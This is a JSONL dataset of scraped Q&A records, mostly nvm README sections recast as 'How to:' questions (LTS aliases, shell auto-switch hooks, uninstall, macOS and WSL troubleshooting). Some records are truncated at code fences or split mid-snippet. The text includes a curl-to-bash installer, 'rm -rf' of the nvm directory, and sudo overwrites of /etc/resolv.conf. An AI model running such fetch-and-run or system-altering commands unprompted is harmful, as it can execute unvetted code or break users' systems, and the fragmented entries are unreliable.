{"id": "gh_3c5b09a9c689", "question": "How to: Long-term Support", "question_body": "About nvm-sh/nvm", "answer": "Node has a [schedule](https://github.com/nodejs/Release#release-schedule) for long-term support (LTS) You can reference LTS versions in aliases and `.nvmrc` files with the notation `lts/*` for the latest LTS, and `lts/argon` for LTS releases from the \"argon\" line, for example. In addition, the following commands support LTS arguments:\n\n  - `nvm install --lts` / `nvm install --lts=argon` / `nvm install 'lts/*'` / `nvm install lts/argon`\n  - `nvm uninstall --lts` / `nvm uninstall --lts=argon` / `nvm uninstall 'lts/*'` / `nvm uninstall lts/argon`\n  - `nvm use --lts` / `nvm use --lts=argon` / `nvm use 'lts/*'` / `nvm use lts/argon`\n  - `nvm exec --lts` / `nvm exec --lts=argon` / `nvm exec 'lts/*'` / `nvm exec lts/argon`\n  - `nvm run --lts` / `nvm run --lts=argon` / `nvm run 'lts/*'` / `nvm run lts/argon`\n  - `nvm ls-remote --lts` / `nvm ls-remote --lts=argon` `nvm ls-remote 'lts/*'` / `nvm ls-remote lts/argon`\n  - `nvm version-remote --lts` / `nvm version-remote --lts=argon` / `nvm version-remote 'lts/*'` / `nvm version-remote lts/argon`\n\nAny time your local copy of `nvm` connects to https://nodejs.org, it will re-create the appropriate local aliases for all available LTS lines. These aliases (stored under `$NVM_DIR/alias/lts`), are managed by `nvm`, and you should not modify, remove, or create these files - expect your changes to be undone, and expect meddling with these files to cause bugs that will likely not be supported.\n\nTo get the latest LTS version of node and migrate your existing installed packages, use\n\n```sh\nnvm install --reinstall-packages-from=current 'lts/*'\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205281"}
{"id": "gh_c80f49d934fe", "question": "How to: Migrating Global Packages While Installing", "question_body": "About nvm-sh/nvm", "answer": "If you want to install a new version of Node.js and migrate npm packages from a previous version:\n\n```sh\nnvm install --reinstall-packages-from=node node\n```\n\nThis will first use \"nvm version node\" to identify the current version you're migrating packages from. Then it resolves the new version to install from the remote server and installs it. Lastly, it runs \"nvm reinstall-packages\" to reinstall the npm packages from your prior version of Node to the new one.\n\nYou can also install and migrate npm packages from specific versions of Node like this:\n\n```sh\nnvm install --reinstall-packages-from=5 6\nnvm install --reinstall-packages-from=iojs v4.2\n```\n\nNote that reinstalling packages _explicitly does not update the npm version_ — this is to ensure that npm isn't accidentally upgraded to a broken version for the new node version.\n\nTo update npm at the same time add the `--latest-npm` flag, like this:\n\n```sh\nnvm install --reinstall-packages-from=default --latest-npm 'lts/*'\n```\n\nor, you can at any time run the following command to get the latest supported npm version on the current node version:\n```sh\nnvm install-latest-npm\n```\n\nIf you've already gotten an error to the effect of \"npm does not support Node.js\", you'll need to (1) revert to a previous node version (`nvm ls` & `nvm use\n`), (2) delete the newly created node version (`nvm uninstall\n`), then (3) rerun your `nvm install` with the `--latest-npm` flag.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205291"}
{"id": "gh_ad31257dbd2f", "question": "How to: Default Global Packages From File While Installing", "question_body": "About nvm-sh/nvm", "answer": "If you have a list of default packages you want installed every time you install a new version, we support that too -- just add the package names, one per line, to the file `$NVM_DIR/default-packages`. You can add anything npm would accept as a package argument on the command line.\n\n```sh", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205298"}
{"id": "gh_0c0d9626d657", "question": "How to: System Version of Node", "question_body": "About nvm-sh/nvm", "answer": "If you want to use the system-installed version of node, you can use the special default alias \"system\":\n\n```sh\nnvm use system\nnvm run system --version\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205305"}
{"id": "gh_52708dec40cb", "question": "How to: Listing Versions", "question_body": "About nvm-sh/nvm", "answer": "If you want to see what versions are installed:\n\n```sh\nnvm ls\n```\n\nIf you want to see what versions are available to install:\n\n```sh\nnvm ls-remote\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205311"}
{"id": "gh_553019cfc1cc", "question": "How to: Restoring PATH", "question_body": "About nvm-sh/nvm", "answer": "To restore your PATH, you can deactivate it:\n\n```sh\nnvm deactivate\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205324"}
{"id": "gh_967b19f1168e", "question": "How to: Set default node version", "question_body": "About nvm-sh/nvm", "answer": "To set a default Node version to be used in any new shell, use the alias 'default':\n\n```sh\nnvm alias default node # this refers to the latest installed version of node\nnvm alias default 18 # this refers to the latest installed v18.x version of node\nnvm alias default 18.12  # this refers to the latest installed v18.12.x version of node\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205330"}
{"id": "gh_bba15126a37f", "question": "How to: Use a mirror of node binaries", "question_body": "About nvm-sh/nvm", "answer": "To use a mirror of the node binaries, set `$NVM_NODEJS_ORG_MIRROR`:\n\n```sh\nexport NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist\nnvm install node\n\nNVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install 4.2\n```\n\nTo use a mirror of the io.js binaries, set `$NVM_IOJS_ORG_MIRROR`:\n\n```sh\nexport NVM_IOJS_ORG_MIRROR=https://iojs.org/dist\nnvm install iojs-v1.0.3\n\nNVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3\n```\n\n`nvm use` will not, by default, create a \"current\" symlink. Set `$NVM_SYMLINK_CURRENT` to \"true\" to enable this behavior, which is sometimes useful for IDEs. Note that using `nvm` in multiple shell tabs with this environment variable enabled can cause race conditions.\n\n#### Pass Authorization header to mirror\nTo pass an Authorization header through to the mirror url, set `$NVM_AUTH_HEADER`\n\n```sh\nNVM_AUTH_HEADER=\"Bearer secret-token\" nvm install node\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205337"}
{"id": "gh_d85d8479ee5c", "question": "How to: Deeper Shell Integration", "question_body": "About nvm-sh/nvm", "answer": "You can use [`nvshim`](https://github.com/iamogbz/nvshim) to shim the `node`, `npm`, and `npx` bins to automatically use the `nvm` config in the current directory. `nvshim` is **not** supported by the `nvm` maintainers. Please [report issues to the `nvshim` team](https://github.com/iamogbz/nvshim/issues/new).\n\nIf you prefer a lighter-weight solution, the recipes below have been contributed by `nvm` users. They are **not** supported by the `nvm` maintainers. We are, however, accepting pull requests for more examples.\n\n#### Calling `nvm use` automatically in a directory with a `.nvmrc` file\n\nIn your profile (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`), add the following to `nvm use` whenever you enter a new directory:\n\n##### bash\n\nPut the following at the end of your `$HOME/.bashrc`:\n\n```bash\ncdnvm() {\n    command cd \"$@\" || return $?\n    nvm_path=\"$(nvm_find_up .nvmrc | command tr -d '\\n')\"\n\n    # If there are no .nvmrc file, use the default nvm version\n    if [[ ! $nvm_path = *[^[:space:]]* ]]; then\n\n        declare default_version\n        default_version=\"$(nvm version default)\"\n\n        # If there is no default version, set it to `node`\n        # This will use the latest version on your machine\n        if [ $default_version = 'N/A' ]; then\n            nvm alias default node\n            default_version=$(nvm version default)\n        fi\n\n        # If the current version is not the default version, set it to use the default version\n        if [ \"$(nvm current)\" != \"${default_version}\" ]; then\n            nvm use default\n        fi\n    elif [[ -s \"${nvm_path}/.nvmrc\" && -r \"${nvm_path}/.nvmrc\" ]]; then\n        declare nvm_version\n        nvm_version=$(<\"${nvm_path}\"/.nvmrc)\n\n        declare locally_resolved_nvm_version\n        # `nvm ls` will check all locally-available versions\n        # If there are multiple matching versions, take the latest one\n        # Remove the `->` and `*` characters and spaces\n        # `locally_resolved_nvm_version` will be `N/A` if no local versions are found\n        locally_resolved_nvm_version=$(nvm ls --no-colors \"${nvm_version}\" | command tail -1 | command tr -d '\\->*' | command tr -d '[:space:]')\n\n        # If it is not already installed, install it\n        # `nvm install` will implicitly use the newly-installed version\n        if [ \"${locally_resolved_nvm_version}\" = 'N/A' ]; then\n            nvm install \"${nvm_version}\";\n        elif [ \"$(nvm current)\" != \"${locally_resolved_nvm_version}\" ]; then\n            nvm use \"${nvm_version}\";\n        fi\n    fi\n}\n\nalias cd='cdnvm'\ncdnvm \"$PWD\" || exit\n```\n\nThis alias would search 'up' from your current directory in order to detect a `.nvmrc` file. If it finds it, it will switch to that version; if not, it will use the default version.\n\n##### zsh\n\nThis shell function will install (if needed) and `nvm use` the specified Node version when an `.nvmrc` is found, and `nvm use default` otherwise.\n\nPut this into your `$HOME/.zshrc` to call `nvm use` automatically whenever you enter a directory that contains an\n`.nvmrc` file with a string telling nvm which node to `use`:\n\n```zsh", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205356"}
{"id": "gh_2bc83d325665", "question": "How to: place this after nvm initialization!", "question_body": "About nvm-sh/nvm", "answer": "autoload -U add-zsh-hook\n\nload-nvmrc() {\n  local nvmrc_path\n  nvmrc_path=\"$(nvm_find_nvmrc)\"\n\n  if [ -n \"$nvmrc_path\" ]; then\n    local nvmrc_node_version\n    nvmrc_node_version=$(nvm version \"$(cat \"${nvmrc_path}\")\")\n\n    if [ \"$nvmrc_node_version\" = \"N/A\" ]; then\n      nvm install\n    elif [ \"$nvmrc_node_version\" != \"$(nvm version)\" ]; then\n      nvm use\n    fi\n  elif [ -n \"$(PWD=$OLDPWD nvm_find_nvmrc)\" ] && [ \"$(nvm version)\" != \"$(nvm version default)\" ]; then\n    echo \"Reverting to nvm default version\"\n    nvm use default\n  fi\n}\n\nadd-zsh-hook chpwd load-nvmrc\nload-nvmrc\n```\n\nAfter saving the file, run `source ~/.zshrc` to reload the configuration with the latest changes made.\n\n##### fish\n\nThis requires that you have [bass](https://github.com/edc/bass) installed.\n```fish", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205365"}
{"id": "gh_d86e70298bb0", "question": "How to: ~/.config/fish/functions/nvm.fish", "question_body": "About nvm-sh/nvm", "answer": "function nvm\n  bass source ~/.nvm/nvm.sh --no-use ';' nvm $argv\nend", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205380"}
{"id": "gh_0d7f4cd9c721", "question": "How to: ~/.config/fish/functions/load_nvm.fish", "question_body": "About nvm-sh/nvm", "answer": "function load_nvm --on-variable=\"PWD\"\n  set -l default_node_version (nvm version default)\n  set -l node_version (nvm version)\n  set -l nvmrc_path (nvm_find_nvmrc)\n  if test -n \"$nvmrc_path\"\n    set -l nvmrc_node_version (nvm version (cat $nvmrc_path))\n    if test \"$nvmrc_node_version\" = \"N/A\"\n      nvm install (cat $nvmrc_path)\n    else if test \"$nvmrc_node_version\" != \"$node_version\"\n      nvm use $nvmrc_node_version\n    end\n  else if test \"$node_version\" != \"$default_node_version\"\n    echo \"Reverting to default Node version\"\n    nvm use default\n  end\nend", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205392"}
{"id": "gh_e113b0f5cd2c", "question": "How to: Running Tests", "question_body": "About nvm-sh/nvm", "answer": "Tests are written in [Urchin]. Install Urchin (and other dependencies) like so:\n\n    npm install\n\nThere are slow tests and fast tests. The slow tests do things like install node\nand check that the right versions are used. The fast tests fake this to test\nthings like aliases and uninstalling. From the root of the nvm git repository,\nrun the fast tests like this:\n\n    npm run test/fast\n\nRun the slow tests like this:\n\n    npm run test/slow\n\nRun all of the tests like this:\n\n    npm test\n\nNota bene: Avoid running nvm while the tests are running.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205400"}
{"id": "gh_e9b4b49b1db8", "question": "How to: Environment variables", "question_body": "About nvm-sh/nvm", "answer": "nvm exposes the following environment variables:\n\n- `NVM_DIR` - nvm's installation directory.\n- `NVM_BIN` - where node, npm, and global packages for the active version of node are installed.\n- `NVM_INC` - node's include file directory (useful for building C/C++ addons for node).\n- `NVM_CD_FLAGS` - used to maintain compatibility with zsh.\n- `NVM_RC_VERSION` - version from .nvmrc file if being used.\n\nAdditionally, nvm modifies `PATH`, and, if present, `MANPATH` and `NODE_PATH` when changing versions.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205407"}
{"id": "gh_99a26dbffdff", "question": "How to: Bash Completion", "question_body": "About nvm-sh/nvm", "answer": "To activate, you need to source `bash_completion`:\n\n```sh\n[[ -r $NVM_DIR/bash_completion ]] && \\. $NVM_DIR/bash_completion\n```\n\nPut the above sourcing line just below the sourcing line for nvm in your profile (`.bashrc`, `.bash_profile`).", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205413"}
{"id": "gh_21b593614937", "question": "How to: Compatibility Issues", "question_body": "About nvm-sh/nvm", "answer": "`nvm` will encounter some issues if you have some non-default settings set. (see [#606](https://github.com/nvm-sh/nvm/issues/606))\nThe following are known to cause issues:\n\nInside `~/.npmrc`:\n\n```sh\nprefix='some/path'\n```\n\nEnvironment Variables:\n\n```sh\n$NPM_CONFIG_PREFIX\n$PREFIX\n```\n\nShell settings:\n\n```sh\nset -e\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205421"}
{"id": "gh_e06ccf3d63f6", "question": "How to: Installing nvm on Alpine Linux", "question_body": "About nvm-sh/nvm", "answer": "In order to provide the best performance (and other optimizations), nvm will download and install pre-compiled binaries for Node (and npm) when you run `nvm install X`. The Node project compiles, tests and hosts/provides these pre-compiled binaries which are built for mainstream/traditional Linux distributions (such as Debian, Ubuntu, CentOS, RedHat et al).\n\nAlpine Linux, unlike mainstream/traditional Linux distributions, is based on [BusyBox](https://www.busybox.net/), a very compact (~5MB) Linux distribution. BusyBox (and thus Alpine Linux) uses a different C/C++ stack to most mainstream/traditional Linux distributions - [musl](https://www.musl-libc.org/). This makes binary programs built for such mainstream/traditional incompatible with Alpine Linux, thus we cannot simply `nvm install X` on Alpine Linux and expect the downloaded binary to run correctly - you'll likely see \"...does not exist\" errors if you try that.\n\nThere is a `-s` flag for `nvm install` which requests nvm download Node source and compile it locally.\n\nIf installing nvm on Alpine Linux *is* still what you want or need to do, you should be able to achieve this by running the following from you Alpine Linux shell, depending on which version you are using:", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205429"}
{"id": "gh_9aafa24d2ad7", "question": "How to: Alpine Linux 3.13+", "question_body": "About nvm-sh/nvm", "answer": "```sh\napk add -U curl bash ca-certificates openssl ncurses coreutils python3 make gcc g++ libgcc linux-headers grep util-linux binutils findutils\ncurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205435"}
{"id": "gh_0bc9e151f2cd", "question": "How to: Manual Uninstall", "question_body": "About nvm-sh/nvm", "answer": "To remove `nvm` manually, execute the following:\n\nFirst, use `nvm unload` to remove the nvm command from your terminal session and delete the installation directory:\n\n```sh\n$ nvm_dir=\"${NVM_DIR:-~/.nvm}\"\n$ nvm unload\n$ rm -rf \"$nvm_dir\"\n```\n\nEdit `~/.bashrc` (or other shell resource config) and remove the lines below:\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && \\. \"$NVM_DIR/nvm.sh\" # This loads nvm\n[[ -r $NVM_DIR/bash_completion ]] && \\. $NVM_DIR/bash_completion\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205448"}
{"id": "gh_43e3276cb7b7", "question": "How to: Docker For Development Environment", "question_body": "About nvm-sh/nvm", "answer": "To make the development and testing work easier, we have a Dockerfile for development usage, which is based on Ubuntu 18.04 base image, prepared with essential and useful tools for `nvm` development, to build the docker image of the environment, run the docker command at the root of `nvm` repository:\n\n```sh\n$ docker build -t nvm-dev .\n```\n\nThis will package your current nvm repository with our pre-defined development environment into a docker image named `nvm-dev`, once it's built with success, validate your image via `docker images`:\n\n```sh\n$ docker images\n\nREPOSITORY         TAG                 IMAGE ID            CREATED             SIZE\nnvm-dev            latest              9ca4c57a97d8        7 days ago          650 MB\n```\n\nIf you got no error message, now you can easily involve in:\n\n```sh\n$ docker run -h nvm-dev -it nvm-dev\n\nnvm@nvm-dev:~/.nvm$\n```\n\nPlease note that it'll take about 8 minutes to build the image and the image size would be about 650MB, so it's not suitable for production usage.\n\nFor more information and documentation about docker, please refer to its official website:\n\n  - https://www.docker.com/\n  - https://docs.docker.com/", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205456"}
{"id": "gh_d65e2e976e0e", "question": "How to: macOS Troubleshooting", "question_body": "About nvm-sh/nvm", "answer": "**nvm node version not found in vim shell**\n\nIf you set node version to a version other than your system node version `nvm use 6.2.1` and open vim and run `:!node -v` you should see `v6.2.1` if you see your system version `v0.12.7`. You need to run:\n\n```shell\nsudo chmod ugo-x /usr/libexec/path_helper\n```\n\nMore on this issue in [dotphiles/dotzsh](https://github.com/dotphiles/dotzsh#mac-os-x).\n\n**nvm is not compatible with the npm config \"prefix\" option**\n\nSome solutions for this issue can be found [here](https://github.com/nvm-sh/nvm/issues/1245)\n\nThere is one more edge case causing this issue, and that's a **mismatch between the `$HOME` path and the user's home directory's actual name**.\n\nYou have to make sure that the user directory name in `$HOME` and the user directory name you'd see from running `ls /Users/` **are capitalized the same way** ([See this issue](https://github.com/nvm-sh/nvm/issues/2261)).\n\nTo change the user directory and/or account name follow the instructions [here](https://support.apple.com/en-us/HT201548)\n\n[1]: https://github.com/nvm-sh/nvm.git\n[2]: https://github.com/nvm-sh/nvm/blob/v0.40.3/install.sh\n[3]: https://app.travis-ci.com/nvm-sh/nvm\n[4]: https://github.com/nvm-sh/nvm/releases/tag/v0.40.3\n[Urchin]: https://git.sdf.org/tlevine/urchin\n[Fish]: https://fishshell.com\n\n**Homebrew makes zsh directories unsecure**\n\n```shell\nzsh compinit: insecure directories, run compaudit for list.\nIgnore insecure directories and continue [y] or abort compinit [n]? y\n```\n\nHomebrew causes insecure directories like `/usr/local/share/zsh/site-functions` and `/usr/local/share/zsh`. This is **not** an `nvm` problem - it is a homebrew problem. Refer [here](https://github.com/zsh-users/zsh-completions/issues/680) for some solutions related to the issue.\n\n**Macs with Apple Silicon chips**\n\nExperimental support for the Apple Silicon chip architecture was added in node.js v15.3 and full support was added in v16.0.\nBecause of this, if you try to install older versions of node as usual, you will probably experience either compilation errors when installing node or out-of-memory errors while running your code.\n\nSo, if you want to run a version prior to v16.0 on an Apple Silicon Mac, it may be best to compile node targeting the `x86_64` Intel architecture so that Rosetta 2 can translate the `x86_64` processor instructions to ARM-based Apple Silicon instructions.\nHere's what you will need to do:\n\n- Install Rosetta, if you haven't already done so\n\n  ```sh\n  $ softwareupdate --install-rosetta\n  ```\n\n  You might wonder, \"how will my Apple Silicon Mac know to use Rosetta for a version of node compiled for an Intel chip?\".\n  If an executable contains only Intel instructions, macOS will automatically use Rosetta to translate the instructions.\n\n- Open a shell that's running using Rosetta\n\n  ```sh\n  $ arch -x86_64 zsh\n  ```\n\n  Note: This same thing can also be accomplished by finding the Terminal or iTerm App in Finder, right clicking, selecting \"Get Info\", and then checking the box labeled \"Open using Rosetta\".\n\n  Note: This terminal session is now running in `zsh`.\n  If `zsh` is not the shell you typically use, `nvm` may not be `source`'d automatically like it probably is for your usual shell through your dotfiles.\n  If that's the case, make sure to source `nvm`.\n\n  ```sh\n  $ source \"${NVM_DIR}/nvm.sh\"\n  ```\n\n- Install whatever older version of node you are interested in. Let's use 12.22.1 as an example.\n  This will fetch the node source code and compile it, which will take several minutes.\n\n  ```sh\n  $ nvm install v12.22.1 --shared-zlib\n  ```\n\n  Note: You're probably curious why `--shared-zlib` is included.\n  There's a bug in recent versions of Apple's system `clang` compiler.\n  If one of these broken versions is installed on your system, the above step will likely still succeed even if you didn't include the `--shared-zlib` flag.\n  However, later, when you attempt to `npm install` something using your old version of node.js, you will see `incorrect data check` errors.\n  If you want to avoid the possible hassle of dealing with this, include that flag.\n  For more details, see [this issue](https://github.com/nodejs/node/issues/39313) and [this comment](https://github.com/nodejs/node/issues/39313#issuecomment-90.40.376)\n\n- Exit back to your native shell.\n\n  ```sh\n  $ exit\n  $ arch\n  arm64\n  ```\n\n  Note: If you selected the box labeled \"Open using Rosetta\" rather than running the CLI command in the second step, you will see `i386` here.\n  Unless you have another reason to have that box selected, you can deselect it now.\n\n- Check to make sure the architecture is correct. `x64` is the abbreviation for `x86_64`, which is what you want to see.\n\n  ```sh\n  $ node -p process.arch\n  x64\n  ```\n\nNow you should be able to use node as usual.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205471"}
{"id": "gh_747c9db3e054", "question": "How to: WSL Troubleshooting", "question_body": "About nvm-sh/nvm", "answer": "If you've encountered this error on WSL-2:\n\n  ```sh\n  curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                  Dload  Upload  Total   Spent    Left  Speed\n  0     0    0     0    0     0      0      0 --:--:--  0:00:09 --:--:--     0curl: (6) Could not resolve host: raw.githubusercontent.com\n  ```\n\nIt may be due to your antivirus, VPN, or other reasons.\n\nWhere you can `ping 8.8.8.8` while you can't `ping google.com`\n\nThis could simply be solved by running this in your root directory:\n\n  ```sh\n  sudo rm /etc/resolv.conf\n  sudo bash -c 'echo \"nameserver 8.8.8.8\" > /etc/resolv.conf'\n  sudo bash -c 'echo \"[network]\" > /etc/wsl.conf'\n  sudo bash -c 'echo \"generateResolvConf = false\" >> /etc/wsl.conf'\n  sudo chattr +i /etc/resolv.conf\n  ```\n\nThis deletes your `resolv.conf` file that is automatically generated when you run WSL, creates a new file and puts `nameserver 8.8.8.8`, then creates a `wsl.conf` file and adds `[network]` and `generateResolveConf = false` to prevent auto-generation of that file.\n\nYou can check the contents of the file by running:\n\n  ```sh\n  cat /etc/resolv.conf\n  ```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205480"}
{"id": "gh_d070fee72c25", "question": "How to: Maintainers", "question_body": "About nvm-sh/nvm", "answer": "Currently, the sole maintainer is [@ljharb](https://github.com/ljharb) - more maintainers are quite welcome, and we hope to add folks to the team over time. [Governance](./GOVERNANCE.md) will be re-evaluated as the project evolves.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205486"}
{"id": "gh_4136e820cc92", "question": "How to: Project Support", "question_body": "About nvm-sh/nvm", "answer": "Only the latest version (v0.40.3 at this time) is supported.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205491"}
{"id": "gh_c4c0da77cd3f", "question": "How to: Enterprise Support", "question_body": "About nvm-sh/nvm", "answer": "If you are unable to update to the latest version of `nvm`, our [partners](https://openjsf.org/ecosystem-sustainability-program) provide commercial security fixes for all unsupported versions:\n\n  - [HeroDevs Never-Ending Support](https://www.herodevs.com/support?utm_source=OpenJS&utm_medium=Link&utm_campaign=nvm_openjs)", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205496"}
{"id": "gh_c754e10273d1", "question": "How to: Copyright notice", "question_body": "About nvm-sh/nvm", "answer": "Copyright [OpenJS Foundation](https://openjsf.org) and `nvm` contributors. All rights reserved. The [OpenJS Foundation](https://openjsf.org) has registered trademarks and uses trademarks.  For a list of trademarks of the [OpenJS Foundation](https://openjsf.org), please see our [Trademark Policy](https://trademark-policy.openjsf.org/) and [Trademark List](https://trademark-list.openjsf.org/).  Trademarks and logos not indicated on the [list of OpenJS Foundation trademarks](https://trademark-list.openjsf.org) are trademarks™ or registered® trademarks of their respective holders. Use of them does not imply any affiliation with or endorsement by them.\n[The OpenJS Foundation](https://openjsf.org/) | [Terms of Use](https://terms-of-use.openjsf.org/) | [Privacy Policy](https://privacy-policy.openjsf.org/) | [Bylaws](https://bylaws.openjsf.org/) | [Code of Conduct](https://code-of-conduct.openjsf.org) | [Trademark Policy](https://trademark-policy.openjsf.org/) | [Trademark List](https://trademark-list.openjsf.org/) | [Cookie Policy](https://www.linuxfoundation.org/cookies/)", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205505"}
{"id": "gh_58ff98604c5b", "question": "How to: Contributing and Collaborating", "question_body": "About ziadoz/awesome-php", "answer": "Please see [CONTRIBUTING](https://github.com/ziadoz/awesome-php/blob/master/CONTRIBUTING.md), [CODE-OF-CONDUCT](https://github.com/ziadoz/awesome-php/blob/master/CODE-OF-CONDUCT.md) and [COLLABORATING](https://github.com/ziadoz/awesome-php/blob/master/COLLABORATING.md) for details.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.919922"}
